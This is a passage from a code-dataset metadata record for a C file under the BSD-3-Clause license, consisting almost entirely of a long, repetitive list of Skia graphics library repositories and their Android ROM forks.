2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"geekboxzone\/lollipop_external_chromium_org_third_party_skia,sombree\/android_external_skia,rubenvb\/skia,Purity-Lollipop\/platform_external_skia,FusionSP\/android_external_skia,PAC-ROM\/android_external_skia,aosp-mirror\/platform_external_skia,DiamondLovesYou\/skia-sys,zhaochengw\/platform_external_skia,aospo\/platform_external_skia,fire855\/android_external_skia,Khaon\/android_external_skia,FusionSP\/android_external_skia,google\/skia,TeamTwisted\/external_skia,houst0nn\/external_skia,fire855\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,aospo\/platform_external_skia,GladeRom\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,amyvmiwei\/skia,MinimalOS\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,Infusion-OS\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,Samsung\/skia,Euphoria-OS-Legacy\/android_external_skia,NamelessRom\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,xzzz9097\/android_external_skia,chenlian2015\/skia_from_google,GladeRom\/android_external_skia,TeslaProject\/external_skia,pacerom\/external_skia,temasek\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,ominux\/skia,NamelessRom\/android_external_skia,boulzordev\/android_external_skia,TeslaProject\/external_skia,samuelig\/skia,TeslaOS\/android_external_skia,TeamEOS\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,mmatyas\/skia,Igalia\/skia,Jichao\/skia,Hybrid-Rom\/external_skia,ominux\/skia,sudosurootdev\/external_skia,RadonX-ROM\/external_skia,Infusion-OS\/android_external_skia,invisiblek\/android_external_skia,mozilla-b2g\/external_skia,Hybrid-Rom\/external_skia,DesolationStaging\/android_external_skia,FusionSP\/android_external_skia,aosp-mirror\/platform_external_skia,Jichao\/skia,ench0\/external_skia,Omegaphora\/external_skia,MarshedOut\/android_external_skia,Asteroid-Project\/android_external_skia,AOSPB\/external_skia,Plain-Andy\/android_platform_external_skia,F-AOSP\/platform_external_skia,jtg-gg\/skia,Pure-Aosp\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,Omegaphora\/external_skia,larsbergstrom\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,BrokenROM\/external_skia,timduru\/platform-external-skia,todotodoo\/skia,noselhq\/skia,VRToxin-AOSP\/android_external_skia,jtg-gg\/skia,TeamEOS\/external_chromium_org_third_party_skia,sudosurootdev\/external_skia,AOSPA-L\/android_external_skia,byterom\/android_external_skia,Omegaphora\/external_skia,Infinitive-OS\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,fire855\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,AOSPA-L\/android_external_skia,UBERMALLOW\/external_skia,larsbergstrom\/skia,sigysmund\/platform_external_skia,nox\/skia,MyAOSP\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,NamelessRom\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,houst0nn\/external_skia,TeamTwisted\/external_skia,Jichao\/skia,android-ia\/platform_external_skia,YUPlayGodDev\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,MinimalOS\/external_skia,suyouxin\/android_external_skia,Jichao\/skia,boulzordev\/android_external_skia,zhaochengw\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,suyouxin\/android_external_skia,YUPlayGodDev\/platform_external_skia,vanish87\/skia,MinimalOS-AOSP\/platform_external_skia,nfxosp\/platform_external_skia,ctiao\/platform-external-skia,google\/skia,pcwalton\/skia,spezi77\/android_external_skia,OptiPop\/external_skia,todotodoo\/skia,DiamondLovesYou\/skia-sys,F-AOSP\/platform_external_skia,AndroidOpenDevelopment\/android_external_skia,sigysmund\/platform_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,TeamTwisted\/external_skia,OptiPop\/external_chromium_org_third_party_skia,OneRom\/external_skia,Infusion-OS\/android_external_skia,FusionSP\/android_external_skia,MinimalOS\/external_skia,OptiPop\/external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,PAC-ROM\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,geekboxzone\/mmallow_external_skia,geekboxzone\/mmallow_external_skia,nfxosp\/platform_external_skia,todotodoo\/skia,aospo\/platform_external_skia,Fusion-Rom\/android_external_skia,AOSPA-L\/android_external_skia,Asteroid-Project\/android_external_skia,shahrzadmn\/skia,VRToxin-AOSP\/android_external_skia,ench0\/external_skia,HalCanary\/skia-hc,Tesla-Redux\/android_external_skia,AOSP-YU\/platform_external_skia,TeamTwisted\/external_skia,Purity-Lollipop\/platform_external_skia,AOSPB\/external_skia,OneRom\/external_skia,nox\/skia,InfinitiveOS\/external_skia,houst0nn\/external_skia,MarshedOut\/android_external_skia,TeslaProject\/external_skia,larsbergstrom\/skia,codeaurora-unoffical\/platform-external-skia,noselhq\/skia,rubenvb\/skia,fire855\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,SlimSaber\/android_external_skia,NamelessRom\/android_external_skia,TeslaOS\/android_external_skia,NamelessRom\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,mmatyas\/skia,YUPlayGodDev\/platform_external_skia,ominux\/skia,Hybrid-Rom\/external_skia,TeslaProject\/external_skia,Euphoria-OS-Legacy\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,sombree\/android_external_skia,nvoron23\/skia,amyvmiwei\/skia,Igalia\/skia,pacerom\/external_skia,aosp-mirror\/platform_external_skia,PAC-ROM\/android_external_skia,nfxosp\/platform_external_skia,jtg-gg\/skia,byterom\/android_external_skia,android-ia\/platform_external_skia,YUPlayGodDev\/platform_external_skia,houst0nn\/external_skia,UBERMALLOW\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Igalia\/skia,w3nd1go\/android_external_skia,nox\/skia,nvoron23\/skia,timduru\/platform-external-skia,pcwalton\/skia,nvoron23\/skia,GladeRom\/android_external_skia,noselhq\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,qrealka\/skia-hc,DARKPOP\/external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,ctiao\/platform-external-skia,chenlian2015\/skia_from_google,Tesla-Redux\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,AOSPB\/external_skia,android-ia\/platform_external_skia,amyvmiwei\/skia,HalCanary\/skia-hc,vanish87\/skia,geekboxzone\/lollipop_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,pcwalton\/skia,YUPlayGodDev\/platform_external_skia,nox\/skia,FusionSP\/android_external_skia,rubenvb\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,Purity-Lollipop\/platform_external_skia,Pure-Aosp\/android_external_skia,samuelig\/skia,Asteroid-Project\/android_external_skia,suyouxin\/android_external_skia,HalCanary\/skia-hc,temasek\/android_external_skia,Omegaphora\/external_skia,Euphoria-OS-Legacy\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,tmpvar\/skia.cc,FusionSP\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,ench0\/external_chromium_org_third_party_skia,AOSPU\/external_chromium_org_third_party_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,OneRom\/external_skia,qrealka\/skia-hc,Infinitive-OS\/platform_external_skia,F-AOSP\/platform_external_skia,ench0\/external_skia,HalCanary\/skia-hc,MinimalOS-AOSP\/platform_external_skia,TeslaOS\/android_external_skia,vvuk\/skia,MarshedOut\/android_external_skia,nox\/skia,MinimalOS\/android_external_skia,OptiPop\/external_skia,ominux\/skia,OptiPop\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,byterom\/android_external_skia,SlimSaber\/android_external_skia,GladeRom\/android_external_skia,Khaon\/android_external_skia,TeamExodus\/external_skia,nvoron23\/skia,OptiPop\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,w3nd1go\/android_external_skia,VRToxin-AOSP\/android_external_skia,sudosurootdev\/external_skia,akiss77\/skia,suyouxin\/android_external_skia,AOSPB\/external_skia,Jichao\/skia,ctiao\/platform-external-skia,geekboxzone\/lollipop_external_skia,ench0\/external_chromium_org_third_party_skia,Infusion-OS\/android_external_skia,mozilla-b2g\/external_skia,nox\/skia,MIPS\/external-chromium_org-third_party-skia,zhaochengw\/platform_external_skia,wildermason\/external_skia,ctiao\/platform-external-skia,qrealka\/skia-hc,Infinitive-OS\/platform_external_skia,InfinitiveOS\/external_skia,rubenvb\/skia,scroggo\/skia,ench0\/external_chromium_org_third_party_skia,TeslaProject\/external_skia,Pure-Aosp\/android_external_skia,Igalia\/skia,DiamondLovesYou\/skia-sys,invisiblek\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,temasek\/android_external_skia,samuelig\/skia,geekboxzone\/mmallow_external_skia,codeaurora-unoffical\/platform-external-skia,VRToxin-AOSP\/android_external_skia,suyouxin\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,aosp-mirror\/platform_external_skia,shahrzadmn\/skia,pacerom\/external_skia,Android-AOSP\/external_skia,AOSPA-L\/android_external_skia,vanish87\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,Samsung\/skia,OneRom\/external_skia,houst0nn\/external_skia,OptiPop\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,noselhq\/skia,SlimSaber\/android_external_skia,aosp-mirror\/platform_external_skia,sigysmund\/platform_external_skia,larsbergstrom\/skia,MIPS\/external-chromium_org-third_party-skia,android-ia\/platform_external_skia,Tesla-Redux\/android_external_skia,xzzz9097\/android_external_skia,TeamEOS\/external_skia,timduru\/platform-external-skia,BrokenROM\/external_skia,google\/skia,todotodoo\/skia,Fusion-Rom\/android_external_skia,Purity-Lollipop\/platform_external_skia,AsteroidOS\/android_external_skia,xzzz9097\/android_external_skia,SlimSaber\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Tesla-Redux\/android_external_skia,w3nd1go\/android_external_skia,amyvmiwei\/skia,sudosurootdev\/external_skia,fire855\/android_external_skia,TeamBliss-LP\/android_external_skia,TeamEOS\/external_skia,AndroidOpenDevelopment\/android_external_skia,AsteroidOS\/android_external_skia,TeamEOS\/external_skia,AOSPA-L\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,UBERMALLOW\/external_skia,OptiPop\/external_skia,MarshedOut\/android_external_skia,sigysmund\/platform_external_skia,F-AOSP\/platform_external_skia,FusionSP\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,qrealka\/skia-hc,MIPS\/external-chromium_org-third_party-skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,vvuk\/skia,Tesla-Redux\/android_external_skia,ench0\/external_chromium_org_third_party_skia,byterom\/android_external_skia,AOSP-YU\/platform_external_skia,nfxosp\/platform_external_skia,TeslaProject\/external_skia,Hikari-no-Tenshi\/android_external_skia,TeamEOS\/external_skia,aosp-mirror\/platform_external_skia,Tesla-Redux\/android_external_skia,geekboxzone\/lollipop_external_skia,pcwalton\/skia,xzzz9097\/android_external_skia,MonkeyZZZZ\/platform_external_skia,mydongistiny\/android_external_skia,sombree\/android_external_skia,ench0\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,HalCanary\/skia-hc,sombree\/android_external_skia,tmpvar\/skia.cc,android-ia\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,wildermason\/external_skia,VentureROM-L\/android_external_skia,jtg-gg\/skia,MyAOSP\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,jtg-gg\/skia,vvuk\/skia,todotodoo\/skia,boulzordev\/android_external_skia,amyvmiwei\/skia,pcwalton\/skia,YUPlayGodDev\/platform_external_skia,VentureROM-L\/android_external_skia,boulzordev\/android_external_skia,ench0\/external_skia,chenlian2015\/skia_from_google,codeaurora-unoffical\/platform-external-skia,TeslaProject\/external_skia,AOSPB\/external_skia,Infinitive-OS\/platform_external_skia,temasek\/android_external_skia,zhaochengw\/platform_external_skia,Fusion-Rom\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,shahrzadmn\/skia,fire855\/android_external_skia,Igalia\/skia,sombree\/android_external_skia,aospo\/platform_external_skia,boulzordev\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,pacerom\/external_skia,TeamTwisted\/external_skia,mydongistiny\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,TeamTwisted\/external_skia,geekboxzone\/mmallow_external_skia,TeamEOS\/external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,scroggo\/skia,MinimalOS\/external_skia,AOSP-YU\/platform_external_skia,YUPlayGodDev\/platform_external_skia,amyvmiwei\/skia,Infusion-OS\/android_external_skia,RadonX-ROM\/external_skia,TeamTwisted\/external_skia,boulzordev\/android_external_skia,mmatyas\/skia,Khaon\/android_external_skia,aospo\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,ominux\/skia,zhaochengw\/platform_external_skia,AsteroidOS\/android_external_skia,UBERMALLOW\/external_skia,VentureROM-L\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,MIPS\/external-chromium_org-third_party-skia,vanish87\/skia,OptiPop\/external_chromium_org_third_party_skia,Jichao\/skia,TeamTwisted\/external_skia,nvoron23\/skia,RadonX-ROM\/external_skia,TeamBliss-LP\/android_external_skia,zhaochengw\/platform_external_skia,boulzordev\/android_external_skia,ctiao\/platform-external-skia,DiamondLovesYou\/skia-sys,Hybrid-Rom\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,temasek\/android_external_skia,Android-AOSP\/external_skia,Purity-Lollipop\/platform_external_skia,mmatyas\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,wildermason\/external_skia,vvuk\/skia,MinimalOS\/android_external_skia,shahrzadmn\/skia,shahrzadmn\/skia,TeslaOS\/android_external_skia,MinimalOS\/external_skia,MinimalOS\/external_skia,android-ia\/platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,vvuk\/skia,TeamExodus\/external_skia,Khaon\/android_external_skia,Plain-Andy\/android_platform_external_skia,ench0\/external_skia,MinimalOS\/external_skia,Euphoria-OS-Legacy\/android_external_skia,BrokenROM\/external_skia,MonkeyZZZZ\/platform_external_skia,MarshedOut\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,xin3liang\/platform_external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,vanish87\/skia,VRToxin-AOSP\/android_external_skia,Khaon\/android_external_skia,samuelig\/skia,FusionSP\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,GladeRom\/android_external_skia,noselhq\/skia,AOSPU\/external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,vanish87\/skia,rubenvb\/skia,pcwalton\/skia,AOSPA-L\/android_external_skia,w3nd1go\/android_external_skia,larsbergstrom\/skia,InfinitiveOS\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,vanish87\/skia,VentureROM-L\/android_external_skia,VRToxin-AOSP\/android_external_skia,Hybrid-Rom\/external_skia,scroggo\/skia,spezi77\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,Omegaphora\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,byterom\/android_external_skia,vvuk\/skia,samuelig\/skia,sudosurootdev\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,akiss77\/skia,sigysmund\/platform_external_skia,Pure-Aosp\/android_external_skia,spezi77\/android_external_skia,Android-AOSP\/external_skia,ctiao\/platform-external-skia,google\/skia,samuelig\/skia,GladeRom\/android_external_skia,Jichao\/skia,mydongistiny\/android_external_skia,Purity-Lollipop\/platform_external_skia,MinimalOS\/android_external_skia,VentureROM-L\/android_external_skia,OptiPop\/external_skia,Infinitive-OS\/platform_external_skia,UBERMALLOW\/external_skia,nfxosp\/platform_external_skia,AOSPB\/external_skia,TeamExodus\/external_skia,FusionSP\/android_external_skia,byterom\/android_external_skia,RadonX-ROM\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,zhaochengw\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,OptiPop\/external_skia,BrokenROM\/external_skia,Igalia\/skia,android-ia\/platform_external_chromium_org_third_party_skia,TeamEOS\/external_skia,sudosurootdev\/external_skia,todotodoo\/skia,larsbergstrom\/skia,AOSP-YU\/platform_external_skia,Tesla-Redux\/android_external_skia,geekboxzone\/mmallow_external_skia,noselhq\/skia,mozilla-b2g\/external_skia,RadonX-ROM\/external_skia,xzzz9097\/android_external_skia,ench0\/external_skia,AOSPU\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,OptiPop\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,OneRom\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,SlimSaber\/android_external_skia,scroggo\/skia,Android-AOSP\/external_skia,Samsung\/skia,FusionSP\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,NamelessRom\/android_external_skia,TeamExodus\/external_skia,pcwalton\/skia,Hybrid-Rom\/external_skia,akiss77\/skia,MarshedOut\/android_external_skia,VentureROM-L\/android_external_skia,TeslaOS\/android_external_skia,w3nd1go\/android_external_skia,HealthyHoney\/temasek_SKIA,google\/skia,HalCanary\/skia-hc,MinimalOS-AOSP\/platform_external_skia,OneRom\/external_skia,Khaon\/android_external_skia,Igalia\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,UBERMALLOW\/external_skia,timduru\/platform-external-skia,Infusion-OS\/android_external_skia,TeamBliss-LP\/android_external_skia,jtg-gg\/skia,android-ia\/platform_external_skia,nfxosp\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,OneRom\/external_skia,Hikari-no-Tenshi\/android_external_skia,Samsung\/skia,DARKPOP\/external_chromium_org_third_party_skia,OptiPop\/external_skia,akiss77\/skia,AOSP-YU\/platform_external_skia,pacerom\/external_skia,w3nd1go\/android_external_skia,AsteroidOS\/android_external_skia,mydongistiny\/android_external_skia,w3nd1go\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,w3nd1go\/android_external_skia,android-ia\/platform_external_skia,Samsung\/skia,MonkeyZZZZ\/platform_external_skia,OptiPop\/external_skia,amyvmiwei\/skia,tmpvar\/skia.cc,AsteroidOS\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,google\/skia,TeslaOS\/android_external_skia,tmpvar\/skia.cc,geekboxzone\/lollipop_external_skia,VentureROM-L\/android_external_skia,TeamExodus\/external_skia,SlimSaber\/android_external_skia,invisiblek\/android_external_skia,sombree\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,ctiao\/platform-external-skia,Omegaphora\/external_chromium_org_third_party_skia,AOSPB\/external_skia,AOSPB\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,tmpvar\/skia.cc,ench0\/external_skia,Samsung\/skia,Fusion-Rom\/android_external_skia,Tesla-Redux\/android_external_skia,amyvmiwei\/skia,xzzz9097\/android_external_skia,vvuk\/skia,DARKPOP\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,RadonX-ROM\/external_skia,aosp-mirror\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,AOSPU\/external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,boulzordev\/android_external_skia,Khaon\/android_external_skia,temasek\/android_external_skia,mmatyas\/skia,MyAOSP\/external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,Asteroid-Project\/android_external_skia,spezi77\/android_external_skia,InfinitiveOS\/external_skia,aosp-mirror\/platform_external_skia,boulzordev\/android_external_skia,ominux\/skia,Jichao\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,mozilla-b2g\/external_skia,pcwalton\/skia,vvuk\/skia,ominux\/skia,Android-AOSP\/external_skia,larsbergstrom\/skia,AOSP-YU\/platform_external_skia,AOSPB\/external_skia,Purity-Lollipop\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,aospo\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,pcwalton\/skia,wildermason\/external_skia,UBERMALLOW\/external_skia,RadonX-ROM\/external_skia,AsteroidOS\/android_external_skia,HealthyHoney\/temasek_SKIA,chenlian2015\/skia_from_google,Asteroid-Project\/android_external_skia,byterom\/android_external_skia,suyouxin\/android_external_skia,GladeRom\/android_external_skia,timduru\/platform-external-skia,Hybrid-Rom\/external_skia,TeslaOS\/android_external_skia,mmatyas\/skia,MarshedOut\/android_external_skia,MarshedOut\/android_external_skia,F-AOSP\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,NamelessRom\/android_external_skia,byterom\/android_external_skia,wildermason\/external_skia,rubenvb\/skia,AOSP-YU\/platform_external_skia,sigysmund\/platform_external_skia,xzzz9097\/android_external_skia,suyouxin\/android_external_skia,invisiblek\/android_external_skia,qrealka\/skia-hc,GladeRom\/android_external_skia,sigysmund\/platform_external_skia,HalCanary\/skia-hc,Fusion-Rom\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,DesolationStaging\/android_external_skia,Infusion-OS\/android_external_skia,Plain-Andy\/android_platform_external_skia,Infinitive-OS\/platform_external_skia,geekboxzone\/lollipop_external_skia,aosp-mirror\/platform_external_skia,fire855\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,google\/skia,AOSPA-L\/android_external_skia,SlimSaber\/android_external_skia,NamelessRom\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,akiss77\/skia,wildermason\/external_skia,F-AOSP\/platform_external_skia,sombree\/android_external_skia,VentureROM-L\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,larsbergstrom\/skia,HalCanary\/skia-hc,PAC-ROM\/android_external_skia,TeamExodus\/external_skia,scroggo\/skia,rubenvb\/skia,ominux\/skia,aospo\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,TeslaOS\/android_external_skia,HealthyHoney\/temasek_SKIA,MinimalOS\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,todotodoo\/skia,rubenvb\/skia,wildermason\/external_skia,mmatyas\/skia,PAC-ROM\/android_external_skia,HalCanary\/skia-hc,DARKPOP\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,OneRom\/external_skia,Asteroid-Project\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,Jichao\/skia,pacerom\/external_skia,MinimalOS-AOSP\/platform_external_skia,noselhq\/skia,TeamExodus\/external_skia,MinimalOS\/android_external_skia,ench0\/external_skia,Infinitive-OS\/platform_external_skia,todotodoo\/skia,DesolationStaging\/android_external_skia,Omegaphora\/external_skia,invisiblek\/android_external_skia,BrokenROM\/external_skia,nox\/skia,xzzz9097\/android_external_skia,akiss77\/skia,noselhq\/skia,mydongistiny\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,F-AOSP\/platform_external_skia,BrokenROM\/external_skia,AOSPU\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,mozilla-b2g\/external_skia,larsbergstrom\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,houst0nn\/external_skia,TeamBliss-LP\/android_external_skia,Infusion-OS\/android_external_skia,DiamondLovesYou\/skia-sys,wildermason\/external_skia,MarshedOut\/android_external_skia,google\/skia,nox\/skia,AndroidOpenDevelopment\/android_external_skia,nvoron23\/skia,MinimalOS\/android_external_skia,vvuk\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,mmatyas\/skia,Samsung\/skia,chenlian2015\/skia_from_google,Plain-Andy\/android_platform_external_skia,mydongistiny\/android_external_skia,ench0\/external_chromium_org_third_party_skia,nvoron23\/skia,aosp-mirror\/platform_external_skia,Samsung\/skia,PAC-ROM\/android_external_skia,scroggo\/skia,Omegaphora\/external_skia,nvoron23\/skia,sombree\/android_external_skia,AOSP-YU\/platform_external_skia,HealthyHoney\/temasek_SKIA,Fusion-Rom\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,ench0\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,geekboxzone\/mmallow_external_skia,zhaochengw\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,DiamondLovesYou\/skia-sys,PAC-ROM\/android_external_skia,samuelig\/skia,vanish87\/skia,tmpvar\/skia.cc,samuelig\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,Euphoria-OS-Legacy\/android_external_skia,PAC-ROM\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,ominux\/skia,Plain-Andy\/android_platform_external_skia,sudosurootdev\/external_skia,Infinitive-OS\/platform_external_skia,geekboxzone\/lollipop_external_skia,jtg-gg\/skia,InfinitiveOS\/external_skia,SlimSaber\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,invisiblek\/android_external_skia,todotodoo\/skia,qrealka\/skia-hc,sudosurootdev\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,codeaurora-unoffical\/platform-external-skia,RadonX-ROM\/external_skia,temasek\/android_external_skia,geekboxzone\/mmallow_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,google\/skia,qrealka\/skia-hc,vanish87\/skia,InfinitiveOS\/external_skia,MinimalOS-AOSP\/platform_external_skia,shahrzadmn\/skia,mmatyas\/skia,UBERMALLOW\/external_skia,Fusion-Rom\/android_external_skia,BrokenROM\/external_skia,AsteroidOS\/android_external_skia,MinimalOS\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,google\/skia,sigysmund\/platform_external_skia,HealthyHoney\/temasek_SKIA,CyanogenMod\/android_external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,Hybrid-Rom\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,akiss77\/skia,nfxosp\/platform_external_skia,TeamExodus\/external_skia,TeamEOS\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,akiss77\/skia,Khaon\/android_external_skia,scroggo\/skia,temasek\/android_external_skia,fire855\/android_external_skia,HealthyHoney\/temasek_SKIA,mydongistiny\/external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,shahrzadmn\/skia,invisiblek\/android_external_skia,OneRom\/external_skia,F-AOSP\/platform_external_skia,mozilla-b2g\/external_skia,geekboxzone\/mmallow_external_skia,FusionSP\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,spezi77\/android_external_skia,Igalia\/skia,qrealka\/skia-hc,Fusion-Rom\/android_external_skia,houst0nn\/external_skia,Pure-Aosp\/android_external_skia,MonkeyZZZZ\/platform_external_skia,MinimalOS\/android_external_skia,scroggo\/skia,HealthyHoney\/temasek_SKIA,UBERMALLOW\/external_skia,Purity-Lollipop\/platform_external_skia,AndroidOpenDevelopment\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,HealthyHoney\/temasek_SKIA,AOSP-YU\/platform_external_skia,rubenvb\/skia,android-ia\/platform_external_chromium_org_third_party_skia,nox\/skia,Android-AOSP\/external_skia,shahrzadmn\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,Omegaphora\/external_skia,YUPlayGodDev\/platform_external_skia,nvoron23\/skia,geekboxzone\/mmallow_external_skia,DesolationStaging\/android_external_skia,rubenvb\/skia,MinimalOS\/external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,shahrzadmn\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,MinimalOS\/external_skia,pacerom\/external_skia,AOSPU\/external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,invisiblek\/android_external_skia,spezi77\/android_external_skia,DesolationStaging\/android_external_skia,TeslaProject\/external_skia,Asteroid-Project\/android_external_skia,akiss77\/skia,noselhq\/skia"}
